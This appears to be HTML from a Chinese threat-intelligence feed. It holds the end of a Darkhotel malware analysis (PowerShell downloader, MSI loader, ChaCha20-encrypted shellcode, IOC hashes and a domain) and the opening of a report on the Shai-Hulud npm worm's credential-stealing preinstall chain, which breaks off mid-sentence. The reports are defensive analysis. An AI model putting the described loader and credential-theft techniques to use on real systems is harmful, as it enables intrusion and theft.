style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">jh421a</span></span></p></td><td data-colwidth="189" width="189" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-indent:0.0pt;mso-char-indent-count:0;mso-char-indent-size:0pt;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">gs9j</span></span></p></td></tr><tr><td data-colwidth="189" width="189" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-indent:0.0pt;mso-char-indent-count:0;mso-char-indent-size:0pt;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">iii/t.m</span></span></p></td><td data-colwidth="189" width="189" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-indent:0.0pt;mso-char-indent-count:0;mso-char-indent-size:0pt;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">jqe</span></span></p></td><td data-colwidth="189" width="189" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="text-indent:0.0pt;mso-char-indent-count:0;mso-char-indent-size:0pt;"><span style="font-family:Calibri;mso-ascii-font-family:Calibri;mso-fareast-font-family:宋体;font-variant:normal;text-transform:none;"><span leaf="">6MVD</span></span></p></td></tr></tbody></table><p style="text-align: justify;text-indent: 2em;margin-bottom: 16px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">powershell脚本（tp.ps1）的功能是从远程下载iii文件并执行。从代码的中的执行方式可以看出：iii文件也是一个msi文件。</span><o:page></o:page></p><p style="text-indent: 0pt;text-align: center;"><span leaf="" style="font-family: Calibri;font-variant: normal;text-transform: none;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4123263888888889" data-w="1152" style="width: 553.74px;height: 228.35px;" src="https://wechat2rss.xlab.app/img-proxy/?k=3382b3e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLfS47IXtrSkZDrVdqibdLEvSVFiaqicYTGXGWE6WP7u1lWOfpJqfjG1jKa2c6bRGRbKledX2TUXia7Jibe2BGKfPKJpsOrOHHRxt3M%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-align: justify;text-indent: 2em;margin-bottom: 16px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">除此之外，msi文件会安装正常程序VdPlayer.exe及其组件到C:\Programdata\vdplayer目录。</span></p><p style="text-indent: 0pt;text-align: center;"><span leaf="" style="font-family: Calibri;font-variant: normal;text-transform: none;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.2686056458511548" data-w="1169" style="width: 553.74px;height: 148.69px;" src="https://wechat2rss.xlab.app/img-proxy/?k=fb49b078&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXLagGRdvKhXbHIehoibzzibYS9VKD5z3JYWiaNDBcTNWYHEibibXxnFpRVICpeWwKOItaf2D4hhN4bftK7SMHOZwrEsxRxQmdBAibIA8%2F640%3Fwx_fmt%3Dpng"/></span></p><h2 style=""><span leaf="" style="font-family: 黑体;font-variant: normal;text-transform: none;"><span textstyle="" style="font-size: 17px;color: rgb(190, 25, 31);font-weight: bold;">第二阶段msi文件</span></span></h2><p style="text-align: justify;text-indent: 2em;margin-bottom: 16px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">分析过程中，我们发现了两类名为iii的msi文件。一类和前面提到的kctv.msi功能完全一致，再次下载iii文件并执行。另一类则加载内嵌的恶意dll。</span><o:page></o:page></p><p style="text-align: center;text-indent: 0px;"><span leaf="" style="font-family: Calibri;font-variant: normal;text-transform: none;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.7002561912894961" data-w="1171" style="width:553.739990234375px;height:387.75px;" src="https://wechat2rss.xlab.app/img-proxy/?k=4568bd44&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJHHF0ias9bdnangCOdnedORbcYGran0EbEZDAa95xHwLqesApbjwqc0huu5dcZWaL2QXOyXMHOMSRzKh35MstBg5Ktmhg5rV6c%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-align: justify;text-indent: 2em;margin-bottom: 16px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">恶意dll首先查找路径C:\ProgramData\0_a^r(9)+!+$&amp;)#，实现方式有些特殊，并没有直接遍历路径后做字符串匹配，而是遍历路径后计算一个hash列表，每级路径名计算一个hash，然后与硬编码的hash列表做匹配，来找到0_a^r(9)+!+$&amp;)#文件。这个文件正是tp.ps1下载的第一个文件。随后读取并解密0_a^r(9)+!+$&amp;)#文件内容，解密时使用chacha20算法。</span></p><p style="text-indent: 0pt;text-align: center;"><span leaf="" style="font-family: Calibri;font-variant: normal;text-transform: none;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5730071033938438" data-w="1267" style="width:553.739990234375px;height:317.3099365234375px;" src="https://wechat2rss.xlab.app/img-proxy/?k=4f3c7ed3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXIFFf3icvAdmybjttL4ppVIgDmw4LMy94F1JFVIJVryTDKibhrJqiacUgOXcCCg2tEes6gDIOCoK093sg2UXdKLgbwQtF007V5eTI%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-align: justify;text-indent: 2em;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">使用flag定位shellcode数据，使用0_a^r(9)+!+$&amp;)<a class="wx_topic_link" topic-id="mspiaglv-ozr48a" style="color: #576B95 !important;" data-topic="1" data-recommend="">#文件解密后的文件内容作为key</a>，来解密出实际的shellcode。定位flag是一个32字节长度的数据由硬编码的数据解密而来。shellcode解密也使用了chacha20算法。</span></p><p style="text-indent: 0pt;text-align: center;"><span leaf="" style="font-family: Calibri;font-variant: normal;text-transform: none;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6744186046511628" data-w="731" style="width: 487.37px;height: 328.69px;" src="https://wechat2rss.xlab.app/img-proxy/?k=498a57b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXJfYTH4dj2oyCnMgdnfzE75jiciabgnNV9dvho1CxFT92UckCV3Gic9qo2Z7pfKT1JljmFESkbj4hzuozmIRiayAcBWM7MDY4Y3Peo%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-align: justify;text-indent: 2em;margin-bottom: 16px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">随后又在解密后的shellcode数据中找到另外两个flag，用两个加密的字符串来替换对应flag数据。类似的加密字符串在APT-C-06</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-role&#34;:&#34;outer&#34;,&#34;label&#34;:&#34;Powered by 135editor.com&#34;,&#34;style&#34;:&#34;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tools&#34;:&#34;135编辑器&#34;,&#34;data-id&#34;:&#34;102539&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 10px auto;text-align: left;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;background: #f2f2f2;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box;padding:1em 1em;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-autoskip&#34;:&#34;1&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin-top: 8px;text-align: justify;text-indent: 2em;margin-bottom: 8px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">（Darkhotel）</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">其它样本出现过，解密后是两个url。</span></p><p style="text-indent: 0pt;text-align: center;"><span leaf="" style="font-family: Calibri;font-variant: normal;text-transform: none;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.47696245733788395" data-w="1172" style="width:553.739990234375px;height:264.1199951171875px;" src="https://wechat2rss.xlab.app/img-proxy/?k=53dbbc8f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXIS3BJica6zhh6W1KvUtDrfKmcXEMECYy0S7SciaLYazB1QF3diaqDfWP8ADoRhccKRia0k0Bbw8Bt0rA23g1cUdq9H5kY93XQREW0%2F640%3Fwx_fmt%3Dpng"/></span></p><p style="text-align: justify;text-indent: 2em;margin-bottom: 16px;margin-top: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">替换完成后则执行Shellcode。我们暂时还没获取到shellcode的解密key，对于shellcode的功能暂时未知。</span><o:page></o:page></p><p style="text-indent: 0pt;text-align: center;"><span leaf="" style="font-family: Calibri;font-variant: normal;text-transform: none;"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.09557522123893805" data-w="1130" style="width:553.739990234375px;height:52.94000244140625px;" src="https://wechat2rss.xlab.app/img-proxy/?k=6a44336e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLvibhu0P3bxasBib5XabPxL1iaDPF3RNCYZGSPlVxdz7nsuSuoYJkt6qFcqAR1Qe78K3zV7MnLNrgUcZouprLByN6xjAafZmc954%2F640%3Fwx_fmt%3Dpng"/></span></p><div data-role="outer" style="margin: 0px;padding: 0px;box-sizing: border-box;"><div data-tools="135编辑器" data-id="101849" style="margin: 0px;padding: 0px;box-sizing: border-box;"><div style="margin: 10px 0px;padding: 0px;box-sizing: border-box;"><div style="margin: 0px 0px -15px;padding: 0px;display: flex;box-sizing:border-box;transform: rotate(0deg);-webkit-transform: rotate(0deg);-moz-transform: rotate(0deg);-o-transform: rotate(0deg);"><p data-brushtype="text" style="margin: 0px;padding: 0px 1em;color: #f2f2f2;line-height: 32px;height: 32px;font-size: 16px;background-color: #be191f;letter-spacing: 1.5px;box-sizing: border-box;"><strong style="margin: 0px;padding: 0px;"><span style="margin: 0px;padding: 0px;font-size: 17px;"><span leaf="">总结</span></span></strong></p></div><div style="margin: 0px 0px 0px 6px;padding: 30px 15px 10px;background-color: #f2f2f2;flex-shrink: 0;box-sizing: border-box;"><div data-autoskip="1" style="margin: 0px;padding: 0px;line-height: 1.75em;letter-spacing: 1.5px;font-size: 17px;box-sizing: border-box;"><div style="margin: 0px;padding: 0px;text-indent: 2em;box-sizing: border-box;"><p style="margin-top: 8px;margin-bottom: 8px;display: block;text-align: justify;"><span style="color: rgb(51, 51, 51);text-indent: 28px;text-decoration-thickness: initial;font-size: 17px;font-family: 仿宋;display: inline !important;"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;node&#34;,{&#34;tagName&#34;:&#34;span&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;font-family:宋体;\nmso-ascii-font-family:Calibri;\nfont-variant:normal;\ntext-transform:none&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">从2025年开始，APT-C-06（Darkhotel）的攻击活动中PowerShell载荷已成为攻击链中的高频组件，广泛承担载荷下载、驻留等功能，是该组织近年来攻击技术演进过程中最显著的特征之一。虽然这次攻击活动涉及目标众多，但是实际触发恶意代码执行的比较少。</span></span></p></div></div></div></div></div><div data-role="paragraph" style="margin: 0px;padding: 0px;box-sizing: border-box;"><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="title" data-tools="135编辑器" data-id="85638" style=""><div style="margin: 2em auto 0px;padding: 0.5em 0px;white-space: normal;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid rgb(204, 204, 204);display: block;font-size: 15px;font-style: normal;font-weight: inherit;text-decoration: inherit;color: rgb(166, 166, 166);box-sizing: border-box;font-family:inherit;"><p style="margin-top: -1.2em;text-align: center;padding: 0px;border: none;line-height: 1.4;box-sizing: border-box;"><span style="font-size:15px;"><strong><span style="background-color: rgb(15, 15, 25);border-color: rgb(183, 184, 184);color: rgb(255, 255, 255);font-style: normal;padding: 8px 23px;text-align: center;text-decoration: inherit;font-family:inherit;"><span leaf="">附录 IOC</span></span></strong></span></p></div></div></div></div></div><p style="margin-bottom: 0px;margin-top: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;">built.3jkg8d.com</span></span></p><p style="margin-bottom: 0px;margin-top: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;">4a88efd00ba8b036ec4642fcecbe6df3</span></span></p><p style="margin-bottom: 0px;margin-top: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;">60fd3dbfeb1a44ed2a8ad46113d58262</span></span></p><p style="margin-bottom: 0px;margin-top: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;">d033868f7b4374936dc462b0b016abaf</span></span></p><p style="margin-bottom: 16px;margin-top: 8px;"><span leaf=""><span textstyle="" style="font-size: 15px;">be6d6d01740d210cb16973d81a1fd782</span></span></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-role="title" data-tools="135编辑器" data-id="85638" style=""><div style="margin: 2em auto 0px;padding: 0.5em 0px;white-space: normal;border-right: none;border-bottom: none;border-left: none;border-image: initial;border-top: 1px solid rgb(204, 204, 204);display: block;font-size: 15px;font-style: normal;font-weight: inherit;text-decoration: inherit;color: rgb(166, 166, 166);box-sizing: border-box;font-family:inherit;"><p style="margin-top: -1.2em;text-align: center;padding: 0px;border: none;line-height: 1.4;box-sizing: border-box;"><span style="font-size:15px;"><strong><span style="background-color: rgb(15, 15, 25);border-color: rgb(183, 184, 184);color: rgb(255, 255, 255);font-style: normal;padding: 8px 23px;text-align: center;text-decoration: inherit;font-family:inherit;"><span leaf="">参考链接</span></span></strong></span></p></div></div><p style="margin-top: 16px;"><span leaf=""><span textstyle="" style="font-size: 15px;">[1]<a href="https://mp.weixin.qq.com/s/m2G9oLHv504HJDW8mB5rDA" target="_blank">https://mp.weixin.qq.com/s/m2G9oLHv504HJDW8mB5rDA</a></span></span></p></div><div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="96036"><div style="margin:10px auto;"><div data-autoskip="1" style="font-size: 14px;text-align: justify;letter-spacing: 1.5px;line-height: 1.75em;color: #3e3e3e;"><p hm_fix="208:559"><span style="color: rgb(190, 25, 31);font-size: 15px;"><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="max-width: 100%;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">360</span></span></strong><strong style="letter-spacing: 0.544px;caret-color: red;max-width: 100%;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="max-width: 100%;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">高级威胁研究院</span></span></strong></span></p><p style="margin: 0px;padding: 0px;text-align: justify;max-width: 100%;min-height: 1em;letter-spacing: 0.544px;line-height: 1.5em;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:-apple-system-font, BlinkMacSystemFont, Arial, sans-serif;"><span style="margin: 0px;padding: 0px;max-width: 100%;color: rgb(136, 136, 136);font-size: 15px;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family:微软雅黑, sans-serif;"><span leaf="">360高级威胁研究院是360数字安全集团的核心能力支持部门，由360资深安全专家组成，专注于高级威胁的发现、防御、处置和研究，曾在全球范围内率先捕获双杀、双星、噩梦公式等多起业界知名的0day在野攻击，独家披露多个国家级APT组织的高级行动，赢得业内外的广泛认可，为360保障国家网络安全提供有力支撑。</span></span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



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]]></content:encoded>
      <pubDate>Wed, 12 Aug 2026 17:30:00 +0800</pubDate>
    </item>
    <item>
      <title>TeamPCP 相关 Shai-Hulud npm 供应链蠕虫攻击活动分析报告</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyMjk4NzExMA==&amp;mid=2247508763&amp;idx=1&amp;sn=a6cc5d4497149cd645e4568e9de93878</link>
      <description>2026 年 8 月 4 日，一场代号为 Shai-Hulud（源自载荷中外传仓库描述 &#34;Shai-Hulud: Here We Go Again&#34;）的大规模 npm 供应链蠕虫攻击被发现。</description>
      <content:encoded><![CDATA[<p><span>高级威胁研究院</span> <span>2026-08-06 19:15</span> <span style="display: inline-block;">北京</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=78b3b4c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FEmmib7pWXrXKF6Stv93A9DyUaQ8zpOhT7BprsFHsKmA6CPicDjtqR78vJldrHFJmugbsUSEQKpUh07AM0fJ9joxN9bvccQ8elMaPmdFH5b2r0%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>2026 年 8 月 4 日，一场代号为 Shai-Hulud（源自载荷中外传仓库描述 "Shai-Hulud: Here We Go Again"）的大规模 npm 供应链蠕虫攻击被发现。</p>
  <div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="105196"><div data-tools="135编辑器" data-id="105196"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);" data-ignore-dm="text-bg-gradient"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;" data-ignore-dm="low-contrast"><span leaf="">一、概述</span></span></strong></p></div></div></div></div></div></div></div><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">2026 年 8 月 4 日，一场代号为 Shai-Hulud（源自载荷中外传仓库描述 &#34;Shai-Hulud: Here We Go Again&#34;）的大规模 npm 供应链蠕虫攻击被发现。</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">攻击者控制或滥用 keyv 包维护者 jaredwray 的 GitHub 账户，向 keyv 的 main 分支推送恶意代码，并通过 GitHub Actions 可信发布流程将 keyv@6.0.0 发布到 npm 注册表。该包在安装时通过 preinstall 钩子静默执行一条多阶段攻击链，集凭证窃取、蠕虫自传播、GitHub 仓库感染和Dead Man&#39;s Switch于一体。360已监测到部分受影响用户，主要涉及安装或使用了相关受影响版本的开发者终端和构建环境。</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">本次攻击是 2026 年 5 月 11 日 TanStack 事件中 Shai-Hulud 行动的延续与升级，显示出攻击者在过去三个月内持续增强其能力。FBI 于 2026 年 7 月 2 日已发布 FLASH-20260702-01 预警，明确将 Shai-Hulud 相关恶意软件归入网络犯罪组织 TeamPCP 的武器库。</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">TeamPCP组织是一个以供应链攻击为核心战术的组织，已实施了多起协调有序的攻击行动。TeamPCP 擅长通过污染广泛使用的开源工具来投递恶意载荷。历史上，其曾成功入侵 Trivy（容器漏洞扫描工具）、KICS（基础设施即代码安全扫描工具）以及 LiteLLM（大语言模型 API 代理工具）等知名开源项目，并利用这些受信任的软件渠道部署凭证窃取类恶意软件。</span><o:page></o:page></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">此次事件已从最初的少量核心包迅速扩散至数百个包、上千个版本，影响范围覆盖高下载量开源依赖、开发者工作站、构建系统和云资源，属于一次兼具入侵、窃密、传播和持久化能力的典型开源供应链攻击。</span></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []"><div data-tools="135编辑器" data-id="105196"><div data-tools="135编辑器" data-id="105196"><div style="text-align: left;margin: 10px auto;"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);" data-ignore-dm="text-bg-gradient"><div style="display: inline-block;"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;"><strong><span style="font-size:18px;" data-ignore-dm="low-contrast"><span leaf="">二、攻击活动分析</span></span></strong></p></div></div></div></div></div></div></div><h2><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">1.</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">攻击流程分析</span></span></h2><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">攻击者控制维护者的 GitHub 账户或发布链路，向keyv仓库写入恶意提交，并借助 GitHub Actions的可信发布流程，将带有效 SLSA provenance 的恶意版本发布到 npm。受害者在允许lifecycle scripts 的环境中安装受影响版本，package.json 中的 preinstall 自动触发 node setup.mjs。</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: justify;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">setup.mjs 先检查本机是否已有 Bun，若没有则从 GitHub 官方 Bun release下载对应平台版本，再解压并启动第二阶段。若本机已安装 Bun，则直接复用。第二阶段JS在 Bun 下运行，进入后台，建立单实例锁，并在非 CI 环境下 detach 自身，尽量减少安装过程中的可见痕迹。载荷系统性收集文件系统、环境变量、SSH、npm、GitHub CLI、GitHub token、AWS、GCP、Azure、Kubernetes、Vault，以及 GitHub Actions 